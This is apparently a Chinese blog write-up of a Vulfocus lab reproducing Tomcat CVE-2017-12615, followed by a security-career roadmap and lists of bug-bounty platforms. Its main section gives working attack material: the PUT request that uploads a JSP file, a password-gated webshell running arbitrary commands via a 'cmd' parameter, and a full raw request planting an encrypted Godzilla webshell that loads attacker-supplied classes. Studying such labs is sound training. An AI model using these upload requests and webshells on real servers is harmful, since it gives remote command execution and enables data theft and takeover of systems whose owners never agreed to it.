【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615

 

前言:

介绍: 

博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。

殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。

C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。


导读:

面向读者:对于网络安全方面的学者。 

本文知识点(读者自测): 

(1)JSP后门文件(√)

 让读者如虎添翼

文件上传漏洞复现 目标 状态
【漏洞复现-dedecms-文件上传】vulfocus/dedecms-cve_2019_8933 后台的新建、上传文件功能、修改后缀功能 已发布
【漏洞复现-tomcat-弱口令+文件上传】vulfocus/tomcat-pass-getshell 后台部署WAR报getshell 已发布
【漏洞复现-weblogic-文件上传】vulfocus/weblogic-cve_2018_2894 后台新建、上传文件的功能点 已发布
【漏洞复现-showdoc-文件上传】​vulfocus/showdoc-cnvd_2020_26585 构造上传文件的数据包 已发布
【漏洞复现-monstra-文件上传】vulfocus/monstra_cve_2020_13384 PHP的特殊后缀绕过 已发布
【漏洞复现-oklite-文件上传】vulfocus/oklite-cve_2019_16131 后台上传zip数据包,服务器自动解析 已发布
【漏洞复现-dcrCms-文件上传】vulfocus/dcrcms-cnvd_2020_27175 后台上传点,修改上传文件的类型 已发布
【漏洞复现-TypesetterCms-文件上传ZIP】vulfocus/typesetter-cve_2020_25790 后台自带解析功能 已发布
【漏洞复现-phpok-文件上传】vulfocus/phpok-cve_2018_12491 后台新建、上传 已发布
【漏洞复现-EmpireCms-文件上传】vulfocus/empirecms-cve_2018_18086 新建上传、特定后缀文件 已发布
【漏洞复现-Apache-文件上传】vulfocus/apache-cve_2017_15715 后缀检测截断 已发布
【漏洞复现-jquery-文件上传】vulfocus/jquery-cve_2018_9207 curl命令上传工具 已发布
【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615 JSP后门文件 已发布
2023将更新更多,敬请期待 —— ——


目录

一、靶场环境

1.1、平台:

1.2、知识:

1.3、描述:

1.4、条件:

二、漏洞验证

2.1、分析:

2.4、解题:


一、靶场环境

1.1、平台:

Vulfocus 漏洞威胁分析平台

123.58.224.8:63174

【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615_第1张图片

【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615_第2张图片

1.2、知识:

1、修改请求方法,通过数据包传送数据

2、学会使用OPTIONS提交

3、使用哥斯拉后面工具(超级强)

……

1.3、描述:

Tomcat 是一个小型的轻量级应用服务器,是开发和调试JSP 程序的首选。

攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。

1.4、条件:

1、版本:Apache Tomcat 7.0.0 – 7.0.81

2、开启PUT方法
默认情况下readonly是true,此时PUT和DELETE方法是被拒绝的,当readonly为false时,便会开启。打开tomcat/conf/web.xml文件,找到default servlet的配置项,添加readonly那一项



二、漏洞验证

2.1、分析:

抓包

【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615_第3张图片

 使用OPTIONS提交【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615_第4张图片

验证漏洞是否存在的话
修改请求方式为 PUT /test.jsp/ HTTP/1.1
添加请求体为 <%out.print("hacker"); %>
 

【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615_第5张图片

 访问test.jsp即可【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615_第6张图片


上传执行命令脚本
请求方式 :

PUT /test.jsp/ HTTP/1.1

请求体:

(借鉴的大佬的,我的方法太普通了,就是大家都会的,没营养)

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;          
        byte[] b = new byte[1024];          
        out.print("
");          
        while((a=in.read(b))!=-1){
            out.println(new String(b));          
        }
        out.print("
"); } %>

【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615_第7张图片

访问上传点
http://ip:端口/test.jsp?&pwd=123&cmd=pwd

【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615_第8张图片


上传马

连接webshell

jsp木马为(用哥斯拉生成的)

【后门工具】哥斯拉,YYDS#https://blog.csdn.net/qq_53079406/article/details/127224240?spm=1001.2014.3001.5502

再用同样方法修改为PUT上传jsp马

PUT /test.jsp/ HTTP/1.1
Host: 123.58.224.8:63174
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=68C661A6F14835A604475B436F524A77
Upgrade-Insecure-Requests: 1
Content-Length: 417

<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>

【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615_第9张图片

【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615_第10张图片

2.4、解题:

找到/tmp

可以通过命令行

 还是通过文件管理把

【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615_第11张图片

【漏洞复现-Tomacat-文件上传】vulfocus/tomcat-cve_2017_12615_第12张图片



网络安全三年之约

First year 

掌握各种原理、不断打新的靶场

目标:edusrc、cnvd 

主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/


second year 

不断学习、提升技术运用技巧,研究各种新平台

开始建立自己的渗透体系

目标:众测平台、企业src应急响应中心 

众测平台 URL
漏洞盒子 漏洞盒子 | 互联网安全测试众测平台
火线安全平台 火线安全平台
漏洞银行 BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台
360漏洞众包响应平台 360漏洞云漏洞众包响应平台
补天平台(奇安信) 补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC
春秋云测 首页
雷神众测(可信众测,安恒) 雷神众测 - BountyTeam
云众可信(启明星辰) 云众可信 - 互联网安全服务引领者
ALLSEC ALLSEC
360众测 360众测平台
看雪众测(物联网) https://ce.kanxue.com/
CNVD众测平台 网络安全众测平台
工控互联网安全测试平台 CNCERT工业互联网安全测试平台
慢雾(区块链) Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone
平安汇聚 http://isrc.pingan.com/homePage/index

互联网大厂 URL
阿里 https://asrc.alibaba.com/#/
腾讯 https://security.tencent.com/
百度 https://bsrc.baidu.com/v2/#/home
美团 https://security.meituan.com/#/home
360 https://security.360.cn/
网易 https://aq.163.com/
字节跳动 https://security.bytedance.com/
京东 https://security.jd.com/#/
新浪 http://sec.sina.com.cn/
微博 https://wsrc.weibo.com/
搜狗 http://sec.sogou.com/
金山办公 https://security.wps.cn/
有赞 https://src.youzan.com/


Third Year 

学习最新的知识,建全自己的渗透体系

目标:参与护网(每一个男孩子心中的梦想) 

时间:一般5月面试,6/7月开始(持续2-3周)

分类:国家级护网、省级护网、市级护网、重大节日护网(如:建党、冬奥等)

你可能感兴趣的:(0X06【漏洞复现】,apache,web安全)